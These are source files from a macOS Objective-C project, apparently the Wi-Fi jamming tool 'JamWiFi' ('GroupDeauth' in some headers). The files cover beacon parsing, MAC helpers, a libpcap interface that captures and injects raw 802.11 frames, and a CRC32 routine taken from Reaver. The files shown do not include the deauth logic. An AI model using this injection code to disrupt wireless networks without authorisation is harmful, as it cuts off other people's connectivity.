== anID) return part; 39 | } 40 | return nil; 41 | } 42 | 43 | - (NSString *)essid { 44 | ANBeaconPart * part = [self beaconPartWithID:0]; 45 | if (!part) return nil; 46 | return [[NSString alloc] initWithData:part.data encoding:NSUTF8StringEncoding]; 47 | } 48 | 49 | - (NSUInteger)channel { 50 | ANBeaconPart * part = [self beaconPartWithID:3]; 51 | if (!part) return 0; 52 | NSData * data = [part data]; 53 | if ([data length] != 1) return 0; 54 | return *((const UInt8 *)[data bytes]); 55 | } 56 | 57 | @end 58 | -------------------------------------------------------------------------------- /Wireless/Beacons/ANBeaconPart.h: -------------------------------------------------------------------------------- 1 | // 2 | // ANBeaconPart.h 3 | // GroupDeauth 4 | // 5 | // Created by Alex Nichol on 7/19/12. 6 | // Copyright (c) 2012 __MyCompanyName__. All rights reserved. 7 | // 8 | 9 | #import 10 | 11 | @interface ANBeaconPart : NSObject { 12 | NSData * data; 13 | UInt8 typeID; 14 | } 15 | 16 | @property (readonly) NSData * data; 17 | @property (readonly) UInt8 typeID; 18 | 19 | - (id)initWithType:(UInt8)aTypeID data:(NSData *)theData; 20 | 21 | @end 22 | -------------------------------------------------------------------------------- /Wireless/Beacons/ANBeaconPart.m: -------------------------------------------------------------------------------- 1 | // 2 | // ANBeaconPart.m 3 | // GroupDeauth 4 | // 5 | // Created by Alex Nichol on 7/19/12. 6 | // Copyright (c) 2012 __MyCompanyName__. All rights reserved. 7 | // 8 | 9 | #import "ANBeaconPart.h" 10 | 11 | @implementation ANBeaconPart 12 | 13 | @synthesize data; 14 | @synthesize typeID; 15 | 16 | - (id)initWithType:(UInt8)aTypeID data:(NSData *)theData { 17 | if ((self = [super init])) { 18 | data = theData; 19 | typeID = aTypeID; 20 | } 21 | return self; 22 | } 23 | 24 | @end 25 | -------------------------------------------------------------------------------- /Wireless/MACParser.h: -------------------------------------------------------------------------------- 1 | // 2 | // MACParser.h 3 | // JamWiFi 4 | // 5 | // Created by Alex Nichol on 7/26/12. 6 | // Copyright (c) 2012 __MyCompanyName__. All rights reserved. 7 | // 8 | 9 | #import 10 | 11 | NSString * MACToString(const unsigned char * mac); 12 | BOOL copyMAC(const char * macString, unsigned char * mac); 13 | -------------------------------------------------------------------------------- /Wireless/MACParser.m: -------------------------------------------------------------------------------- 1 | // 2 | // MACParser.m 3 | // JamWiFi 4 | // 5 | // Created by Alex Nichol on 7/26/12. 6 | // Copyright (c) 2012 __MyCompanyName__. All rights reserved. 7 | // 8 | 9 | #import "MACParser.h" 10 | 11 | NSString * MACToString(const unsigned char * mac) { 12 | return [NSString stringWithFormat:@"%02x:%02x:%02x:%02x:%02x:%02x", 13 | (unsigned char)mac[0], (unsigned char)mac[1], (unsigned char)mac[2], 14 | (unsigned char)mac[3], (unsigned char)mac[4], (unsigned char)mac[5]]; 15 | } 16 | 17 | BOOL copyMAC(const char * macString, unsigned char * mac) { 18 | NSString * macStr = [NSString stringWithUTF8String:macString]; 19 | NSArray * components = [macStr componentsSeparatedByString:@":"]; 20 | for (int i = 0; i < [components count]; i++) { 21 | if (i >= 6) break; 22 | unsigned result = 0; 23 | NSScanner * scanner = [NSScanner scannerWithString:[components objectAtIndex:i]]; 24 | [scanner scanHexInt:&result]; 25 | mac[i] = result; 26 | } 27 | return YES; 28 | } 29 | -------------------------------------------------------------------------------- /Wireless/Tapping/AN80211Packet.h: -------------------------------------------------------------------------------- 1 | // 2 | // AN80211Packet.h 3 | // wifimsg 4 | // 5 | // Created by Alex Nichol on 7/15/12. 6 | // Copyright (c) 2012 __MyCompanyName__. All rights reserved. 7 | // 8 | 9 | #import 10 | #include "packets.h" 11 | #include "crc.h" 12 | 13 | @interface AN80211Packet : NSObject { 14 | MACHeader * macHeader; 15 | unsigned char * packetData; 16 | unsigned char * bodyData; 17 | int packetLength; 18 | int bodyLength; 19 | } 20 | 21 | @property (readwrite) int rssi; 22 | 23 | - (id)initWithData:(NSData *)data; 24 | - (const MACHeader *)macHeader; 25 | - (const unsigned char *)packetData; 26 | - (const unsigned char *)bodyData; 27 | - (int)packetLength; 28 | - (int)bodyLength; 29 | 30 | - (uint32_t)dataFCS; 31 | - (uint32_t)calculateFCS; 32 | 33 | @end 34 | -------------------------------------------------------------------------------- /Wireless/Tapping/AN80211Packet.m: -------------------------------------------------------------------------------- 1 | // 2 | // AN80211Packet.m 3 | // wifimsg 4 | // 5 | // Created by Alex Nichol on 7/15/12. 6 | // Copyright (c) 2012 __MyCompanyName__. All rights reserved. 7 | // 8 | 9 | #import "AN80211Packet.h" 10 | 11 | @implementation AN80211Packet 12 | 13 | - (id)initWithData:(NSData *)data { 14 | if ((self = [super init])) { 15 | if ([data length] < 24) return nil; 16 | packetData = (unsigned char *)malloc([data length]); 17 | memcpy(packetData, [data bytes], [data length]); 18 | macHeader = (MACHeader *)packetData; 19 | bodyData = packetData + sizeof(MACHeader); 20 | packetLength = (int)[data length]; 21 | bodyLength = packetLength - sizeof(MACHeader); 22 | } 23 | return self; 24 | } 25 | 26 | - (const MACHeader *)macHeader { 27 | return macHeader; 28 | } 29 | 30 | - (const unsigned char *)packetData { 31 | return packetData; 32 | } 33 | 34 | - (const unsigned char *)bodyData { 35 | return bodyData; 36 | } 37 | 38 | - (int)packetLength { 39 | return packetLength; 40 | } 41 | 42 | - (int)bodyLength { 43 | return bodyLength; 44 | } 45 | 46 | - (void)dealloc { 47 | free(packetData); 48 | } 49 | 50 | - (uint32_t)dataFCS { 51 | if (bodyLength < 4) return 0; 52 | return *(uint32_t *)(&bodyData[bodyLength - 4]); 53 | } 54 | 55 | - (uint32_t)calculateFCS { 56 | return ~crc32((const char *)packetData, packetLength - 4); 57 | } 58 | 59 | @end 60 | -------------------------------------------------------------------------------- /Wireless/Tapping/ANInterface.h: -------------------------------------------------------------------------------- 1 | // 2 | // ANInterface.h 3 | // wifimsg 4 | // 5 | // Created by Alex Nichol on 7/15/12. 6 | // Copyright (c) 2012 __MyCompanyName__. All rights reserved. 7 | // 8 | 9 | #import 10 | #import 11 | #import "AN80211Packet.h" 12 | #include 13 | 14 | @interface ANInterface : NSObject { 15 | CWInterface * interface; 16 | pcap_t * pcapHandle; 17 | char pcapError[PCAP_ERRBUF_SIZE]; 18 | } 19 | 20 | @property (readonly) CWInterface * interface; 21 | 22 | - (id)initWithInterface:(NSString *)name; 23 | - (AN80211Packet *)nextPacket:(BOOL)blocking; 24 | - (BOOL)writePacket:(AN80211Packet *)packet; 25 | - (BOOL)setChannel:(NSInteger)channel; 26 | - (void)closeInterface; 27 | 28 | @end 29 | -------------------------------------------------------------------------------- /Wireless/Tapping/ANInterface.m: -------------------------------------------------------------------------------- 1 | // 2 | // ANInterface.m 3 | // wifimsg 4 | // 5 | // Created by Alex Nichol on 7/15/12. 6 | // Copyright (c) 2012 __MyCompanyName__. All rights reserved. 7 | // 8 | 9 | #import "ANInterface.h" 10 | 11 | static int getRadiotapRSSI(const u_char * packet); 12 | 13 | @implementation ANInterface 14 | 15 | @synthesize interface; 16 | 17 | - (id)initWithInterface:(NSString *)name { 18 | if ((self = [super init])) { 19 | interface = [[CWInterface alloc] initWithInterfaceName:name]; 20 | [interface disassociate]; 21 | if (!interface) return nil; 22 | pcapHandle = pcap_open_live([name UTF8String], 65536, 1, 1, pcapError); 23 | if (!pcapHandle) return nil; 24 | pcap_set_datalink(pcapHandle, DLT_IEEE802_11_RADIO); 25 | } 26 | return self; 27 | } 28 | 29 | - (AN80211Packet *)nextPacket:(BOOL)blocking { 30 | do { 31 | struct pcap_pkthdr * header; 32 | const u_char * buffer; 33 | int ret = pcap_next_ex(pcapHandle, &header, &buffer); 34 | if (ret < 0) { 35 | const char * error = pcap_geterr(pcapHandle); 36 | @throw [NSException exceptionWithName:@"libpcap" 37 | reason:[NSString stringWithUTF8String:error] 38 | userInfo:nil]; 39 | } 40 | if (ret == 1) { 41 | uint16_t * words = (uint16_t *)buffer; 42 | if (words[1] >= header->caplen) continue; 43 | 44 | const u_char * dataBuffer = buffer + words[1]; 45 | uint32_t len = header->caplen - words[1]; 46 | NSData * data = [NSData dataWithBytes:dataBuffer length:len]; 47 | AN80211Packet * result = [[AN80211Packet alloc] initWithData:data]; 48 | result.rssi = getRadiotapRSSI(buffer); 49 | return result; 50 | } 51 | usleep(10000); 52 | } while (blocking); 53 | return nil; 54 | } 55 | 56 | - (BOOL)writePacket:(AN80211Packet *)packet { 57 | uint16_t radioLen = 8; 58 | unsigned char * radioData = (unsigned char *)malloc([packet packetLength] + radioLen); 59 | memcpy(&radioData[2], &radioLen, 2); 60 | memcpy(&radioData[radioLen], [packet packetData], [packet packetLength]); 61 | int len = pcap_inject(pcapHandle, radioData, radioLen + [packet packetLength]); 62 | free(radioData); 63 | return (len == [packet packetLength] + radioLen); 64 | } 65 | 66 | - (BOOL)setChannel:(NSInteger)channel { 67 | [interface disassociate]; 68 | NSSet * channels = [interface supportedWLANChannels]; 69 | for (CWChannel * channelObj in channels) { 70 | if ([channelObj channelNumber] == channel) { 71 | return [interface setWLANChannel:channelObj error:nil]; 72 | } 73 | } 74 | return NO; 75 | } 76 | 77 | - (void)closeInterface { 78 | if (pcapHandle) { 79 | pcap_close(pcapHandle); 80 | pcapHandle = NULL; 81 | } 82 | interface = nil; 83 | } 84 | 85 | - (void)dealloc { 86 | [self closeInterface]; 87 | } 88 | 89 | @end 90 | 91 | static int getRadiotapRSSI(const u_char * packet) { 92 | u_char present = packet[4]; 93 | if (!(present & 0x20)) { 94 | return 6; 95 | } 96 | size_t fieldOffset = 0; 97 | if (present & 1) { 98 | fieldOffset += 8; 99 | } 100 | if (present & 2) { 101 | fieldOffset += 1; 102 | } 103 | if (present & 4) { 104 | fieldOffset += 1; 105 | } 106 | if (present & 8) { 107 | if (fieldOffset & 1) { 108 | fieldOffset++; 109 | } 110 | fieldOffset += 4; 111 | } 112 | if (present & 0x10) { 113 | if (fieldOffset & 1) { 114 | fieldOffset++; 115 | } 116 | fieldOffset += 2; 117 | } 118 | 119 | return (int)((char *)packet)[8+fieldOffset]; 120 | } 121 | -------------------------------------------------------------------------------- /Wireless/Tapping/crc.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Reaver - CRC functions 3 | * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner 4 | * 5 | * This program is free software; you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation; either version 2 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program; if not, write to the Free Software 17 | * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA 18 | * 19 | * 20 | * In addition, as a special exception, the copyright holders give 21 | * permission to link the code of portions of this program with the 22 | * OpenSSL library under certain conditions as described in each 23 | * individual source file, and distribute linked combinations 24 | * including the two. 25 | * You must obey the GNU General Public License in all respects 26 | * for all of the code used other than OpenSSL. * If you modify 27 | * file(s) with this exception, you may extend this exception to your 28 | * version of the file(s), but you are not obligated to do so. * If you 29 | * do not wish to do so, delete this exception statement from your 30 | * version. * If you delete this exception statement from all source 31 | * files in the program, then also delete it here. 32 | */ 33 | 34 | #include "crc.h" 35 | 36 | /**********************************************************************/ 37 | /* The following was grabbed and tweaked from the old snippets collection 38 | * of public domain C code. */ 39 | 40 | /**********************************************************************\ 41 | |* Demonstration program to compute the 32-bit CRC used as the frame *| 42 | |* check sequence in ADCCP (ANSI X3.66, also known as FIPS PUB 71 *| 43 | |* and FED-STD-1003, the U.S. versions of CCITT's X.25 link-level *| 44 | |* protocol). The 32-bit FCS was added via the Federal Register, *| 45 | |* 1 June 1982, p.23798. I presume but don't know for certain that *| 46 | |* this polynomial is or will be included in CCITT V.41, which *| 47 | |* defines the 16-bit CRC (often called CRC-CCITT) polynomial. FIPS *| 48 | |* PUB 78 says that the 32-bit FCS reduces otherwise undetected *| 49 | |* errors by a factor of 10^-5 over 16-bit FCS. *| 50 | \**********************************************************************/ 51 | 52 | /* Copyright (C) 1986 Gary S. Brown. You may use this program, or 53 | code or tables extracted from it, as desired without restriction.*/ 54 | 55 | /* First, the polynomial itself and its table of feedback terms. The */ 56 | /* polynomial is */ 57 | /* X^32+X^26+X^23+X^22+X^16+X^12+X^11+X^10+X^8+X^7+X^5+X^4+X^2+X^1+X^0 */ 58 | /* Note that we take it "backwards" and put the highest-order term in */ 59 | /* the lowest-order bit. The X^32 term is "implied"; the LSB is the */ 60 | /* X^31 term, etc. The X^0 term (usually shown as "+1") results in */ 61 | /* the MSB being 1. */ 62 | 63 | /* Note that the usual hardware shift register implementation, which */ 64 | /* is what we're using (we're merely optimizing it by doing eight-bit */ 65 | /* chunks at a time) shifts bits into the lowest-order term. In our */ 66 | /* implementation, that means shifting towards the right. Why do we */ 67 | /* do it this way? Because the calculated CRC must be transmitted in */ 68 | /* order from highest-order term to lowest-order term. UARTs transmit */ 69 | /* characters in order from LSB to MSB. By storing the CRC this way, */ 70 | /* we hand it to the UART in the order low-byte to high-byte; the UART */ 71 | /* sends each low-bit to hight-bit; and the result is transmission bit */ 72 | /* by bit from highest- to lowest-order term without requiring any bit */ 73 | /* shuffling on our part. Reception works similarly. */ 74 | 75 | /* The feedback terms table consists of 256, 32-bit entries. Notes: */ 76 | /* */ 77 | /* 1. The table can be generated at runtime if desired; code to do so */ 78 | /* is shown later. It might not be obvious, but the feedback */ 79 | /* terms simply represent the results of eight shift/xor opera- */ 80 | /* tions for all combinations of data and CRC register values. */ 81 | /* */ 82 | /* 2. The CRC accumulation logic is the same for all CRC polynomials, */ 83 | /* be they sixteen or thirty-two bits wide. You simply choose the */ 84 | /* appropriate table. Alternatively, because the table can be */ 85 | /* generated at runtime, you can start by generating the table for */ 86 | /* the polynomial in question and use exactly the same "updcrc", */ 87 | /* if your application needn't simultaneously handle two CRC */ 88 | /* polynomials. (Note, however, that XMODEM is strange.) */ 89 | /* */ 90 | /* 3. For 16-bit CRCs, the table entries need be only 16 bits wide; */ 91 | /* of course, 32-bit entries work OK if the high 16 bits are zero. */ 92 | /* */ 93 | /* 4. The values must be right-shifted by eight bits by the "updcrc" */ 94 | /* logic; the shift must be unsigned (bring in zeroes). On some */ 95 | /* hardware you could probably optimize the shift in assembler by */ 96 | /* using byte-swap instructions. */ 97 | 98 | static const uint32_t crc_32_tab[] = { /* CRC polynomial 0xedb88320 */ 99 | 0x00000000, 0x77073096, 0xee0e612c, 0x990951ba, 0x076dc419, 0x706af48f, 100 | 0xe963a535, 0x9e6495a3, 0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988, 101 | 0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91, 0x1db71064, 0x6ab020f2, 102 | 0xf3b97148, 0x84be41de, 0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7, 103 | 0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec, 0x14015c4f, 0x63066cd9, 104 | 0xfa0f3d63, 0x8d080df5, 0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172, 105 | 0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b, 0x35b5a8fa, 0x42b2986c, 106 | 0xdbbbc9d6, 0xacbcf940, 0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59, 107 | 0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116, 0x21b4f4b5, 0x56b3c423, 108 | 0xcfba9599, 0xb8bda50f, 0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924, 109 | 0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d, 0x76dc4190, 0x01db7106, 110 | 0x98d220bc, 0xefd5102a, 0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8d433, 111 | 0x7807c9a2, 0x0f00f934, 0x9609a88e, 0xe10e9818, 0x7f6a0dbb, 0x086d3d2d, 112 | 0x91646c97, 0xe6635c01, 0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e, 113 | 0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457, 0x65b0d9c6, 0x12b7e950, 114 | 0x8bbeb8ea, 0xfcb9887c, 0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65, 115 | 0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2, 0x4adfa541, 0x3dd895d7, 116 | 0xa4d1c46d, 0xd3d6f4fb, 0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0, 117 | 0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9, 0x5005713c, 0x270241aa, 118 | 0xbe0b1010, 0xc90c2086, 0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f, 119 | 0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4, 0x59b33d17, 0x2eb40d81, 120 | 0xb7bd5c3b, 0xc0ba6cad, 0xedb88320, 0x9abfb3b6, 0x03b6e20c, 0x74b1d29a, 121 | 0xead54739, 0x9dd277af, 0x04db2615, 0x73dc1683, 0xe3630b12, 0x94643b84, 122 | 0x0d6d6a3e, 0x7a6a5aa8, 0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1, 123 | 0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe, 0xf762575d, 0x806567cb, 124 | 0x196c3671, 0x6e6b06e7, 0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc, 125 | 0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5, 0xd6d6a3e8, 0xa1d1937e, 126 | 0x38d8c2c4, 0x4fdff252, 0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b, 127 | 0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60, 0xdf60efc3, 0xa867df55, 128 | 0x316e8eef, 0x4669be79, 0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236, 129 | 0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f, 0xc5ba3bbe, 0xb2bd0b28, 130 | 0x2bb45a92, 0x5cb36a04, 0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d, 131 | 0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x026d930a, 0x9c0906a9, 0xeb0e363f, 132 | 0x72076785, 0x05005713, 0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38, 133 | 0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21, 0x86d3d2d4, 0xf1d4e242, 134 | 0x68ddb3f8, 0x1fda836e, 0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777, 135 | 0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c, 0x8f659eff, 0xf862ae69, 136 | 0x616bffd3, 0x166ccf45, 0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2, 137 | 0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db, 0xaed16a4a, 0xd9d65adc, 138 | 0x40df0b66, 0x37d83bf0, 0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9, 139 | 0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6, 0xbad03605, 0xcdd70693, 140 | 0x54de5729, 0x23d967bf, 0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94, 141 | 0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d 142 | }; 143 | 144 | #define UPDC32(octet,crc) (crc_32_tab[((crc) ^ (octet)) & 0xff] ^ ((crc) >> 8)) 145 | 146 | uint32_t crc32(const char *buf, size_t len) 147 | { 148 | uint32_t crc = 0xFFFFFFFF; 149 | 150 | for ( ; len; --len, ++buf) 151 | { 152 | crc = UPDC32(*buf, crc); 153 | } 154 | 155 | return crc; 156 | } 157 | -------------------------------------------------------------------------------- /Wireless/Tapping/crc.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Reaver - CRC functions 3 | * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner 4 | * 5 | * This program is free software; you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation; either version 2 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program; if not, write to the Free Software 17 | * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA 18 | * 19 | * 20 | * In addition, as a special exception, the copyright holders give 21 | * permission to link the code of portions of this program with the 22 | * OpenSSL library under certain conditions as described in each 23 | * individual source file, and distribute linked combinations 24 | * including the two. 25 | * You must obey the GNU General Public License in all respects 26 | * for all of the code used other than OpenSSL. * If you modify 27 | * file(s) with this exception, you may extend this exception to your 28 | * version of the file(s), but you are not obligated to do so. * If you 29 | * do not wish to do so, delete this exception statement from your 30 | * version. * If you delete this exception statement from all source 31 | * files in the program, then also delete it here. 32 | */ 33 | 34 | #ifndef _CRC_H_ 35 | #define _CRC_H_ 36 | 37 | #include 38 | #include 39 | 40 | uint32_t crc32(const char *buf, size_t len); 41 | 42 | #endif 43 | -------------------------------------------------------------------------------- /Wireless/Tapping/packets.h: -------------------------------------------------------------------------------- 1 | // 2 | // packets.h 3 | // pcapTest 4 | // 5 | // Created by Alex Nichol on 7/14/12. 6 | // Copyright (c) 2012 __MyCompanyName__. All rights reserved. 7 | // 8 | 9 | #ifndef pcapTest_packets_h 10 | #define pcapTest_packets_h 11 | 12 | #include 13 | 14 | typedef struct { 15 | struct { 16 | unsigned int vers:2; 17 | unsigned int type:2; 18 | unsigned int subtype:4; 19 | unsigned int to_ds:1; 20 | unsigned int from_ds:1; 21 | unsigned int more_frag:1; 22 | unsigned int retry:1; 23 | unsigned int pw_mg:1; 24 | unsigned int more_data:1; 25 | unsigned int encrypted:1; 26 | unsigned int order:1; 27 | } __attribute__((__packed__)) frame_control; 28 | uint16_t durationID; 29 | unsigned char mac1[6]; 30 | unsigned char mac2[6]; 31 | unsigned char mac3[6]; 32 | uint16_t seqControl; 33 | // unsigned char mac4[6]; 34 | } __attribute__((__packed__)) MACHeader; 35 | 36 | #endif 37 | --------------------------------------------------------------------------------